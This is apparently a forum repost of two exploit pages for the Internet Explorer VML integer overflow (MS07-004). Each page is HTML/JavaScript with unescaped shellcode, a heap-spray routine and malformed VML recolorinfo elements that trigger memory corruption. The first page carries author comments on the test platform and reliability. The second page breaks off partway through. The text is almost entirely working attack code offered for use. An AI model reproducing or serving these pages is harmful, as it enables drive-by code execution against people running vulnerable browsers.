MS IE VML Remote Buffer Overflow Exploit (MS07-004)
[code]<!--
MS07-004 VML integer overflow exploit
by lifeasageek at gmail.com
- Trigger CVMLRecolorinfo::InternalLoad() method
you can see the screen captured image "[url]http://picasaweb.google.com/lifeasageek/MS07004/photo?pli=1#5019163989136880322[/url]"
which is generated by DarunGrim
- tested on WinXP SP2 Korean version( fully patched except kb929969) & IE 6.0
and I hope it works well in English version
- sorry about that exploit hit ratio is only about 1/5
If you have any good idea to improve reliability, please send me an
e-mail with your idea
- all the java script codes scratched from MS06-055 exploit written by Trirat Puttaraksa (Kira) <trir00t [at] gmail.com>
and slightly modified
- 2007.1.15
-->
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<object id="VMLRender"
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\:* { behavior: url(#VMLRender); }
</style>
</head>
<body>
<SCRIPT language="javascript">
shellcode =
unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
bigblock = unescape("%u0505%u0505");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<350;i++) memory[i] = block + shellcode;
</script>
<v:rect style='width:120pt;height:80pt' fillcolor="red" >
<v:recolorinfo recolorstate="t" numcolors="97612895">
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v:recolorinfoentry tocolor="rgb(1,1,1)" recolortype="1285"
lbcolor="rgb(1,1,1)" forecolor="rgb(1,1,1)" backcolor="rgb(1,1,1)"
fromcolor="rgb(1,1,1)" lbstyle ="32" bitmaptype="3"/>
<v/recolorinfo>
</html>
[/code] 信息来源：PST
[code]
<!--
MS07-004 VML integer overflow exploit
by [email]axis@ph4nt0m.org[/email]
-->
<html xmlns:v="urn:schemas-microsoft-com:vml">
<head>
<object id="VMLRender"
classid="CLSID:10072CEC-8CC1-11D1-986E-00A0C955B42E">
</object>
<style>
v\:* { behavior: url(#VMLRender); }
</style>
</head>
<body>
<SCRIPT language="javascript">
shellcode =
unescape("%u03eb%ueb59%ue805%ufff8%uffff%u4949%u4949%u4949%u4949%u4949%u3749%u4949%u4949%u4949%u5a51%u636a%u3058%u3041%u4150%u416b%u7341%u4142%u4132%u3241%u4142%u4230%u5841%u4138%u5042%u4d75%u3939%u396c%u4178%u4754%u7770%u4370%u6c30%u674b%u7735%u4c4c%u334b%u754c%u3155%u5768%u6a71%u4e4f%u426b%u626f%u6c38%u434b%u756f%u5670%u4861%u316b%u6e59%u306b%u6c34%u534b%u3831%u576e%u4b41%u4e70%u6c79%u6d6c%u5954%u6150%u3464%u4f47%u4b31%u647a%u454d%u4951%u6a52%u7a4b%u4554%u326b%u7674%u3344%u7234%u7a55%u6c45%u614b%u774f%u4554%u4851%u426b%u4c46%u764b%u706c%u6e4b%u416b%u554f%u744c%u6a41%u4e4b%u556b%u4e4c%u356b%u7a51%u4f4b%u3179%u344c%u6564%u4b54%u3573%u6f61%u5030%u4e64%u376b%u5430%u6b70%u6f35%u4130%u3468%u6c4c%u774b%u3430%u4c4c%u504b%u3770%u4c6c%u6e6d%u506b%u6468%u3848%u456b%u4e59%u4d6b%u6e50%u6750%u5570%u4550%u6c50%u504b%u3768%u614c%u764f%u6b51%u3546%u7130%u6f46%u4c79%u6d38%u3953%u4150%u706b%u3050%u6168%u4e6e%u6b38%u7052%u3273%u4d48%u5948%u6d6e%u565a%u766e%u4b37%u4a4f%u5247%u7243%u314d%u7474%u356e%u7035%u7578%u3735%u4650%u724f%u3543%u7070%u706e%u3065%u7174%u4330%u5245%u4253%u3045%u3772%u7050%u6461%u7038%u6269%u3553%u4170%u5177%u3075%u726e%u4149%u3365%u7743%u4650%u334f%u4371%u7374%u4174%u4530%u5176%u5736%u3250%u334e%u4155%u4764%u6250%u724c%u334f%u5353%u3051%u526c%u3347%u7042%u336f%u7245%u3150%u4330%u4371%u5054%u336d%u7259%u714e%u3079%u4173%u7164%u4262%u3241%u7054%u616f%u5062%u6773%u3150%u6471%u3038%u7269%u3553%u7670%u324f%u3161%u3254%u4564%u6350");
bigblock = unescape("%u0c0c%u0c0c");
headersize = 20;
slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (i=0;i<350;i++) memory[i] = block + shellcode;
</script>
<v:rect style='width:120pt;height:80pt' fillcolor="red" >
<v:recolorinfo recolorstate="t" numcolors="1" numfills="1073741831">
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="13" bitmaptype="13" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
fromcolor="rgb(90,22,64)" lbstyle ="218959117" bitmaptype="218959117" />
<v:recolorinfoentry tocolor="rgb(90,22,64)"
lbcolor="rgb(90,22,64)" forecolor="rgb(90,22,64)" backcolor="rgb(90,22,64)"
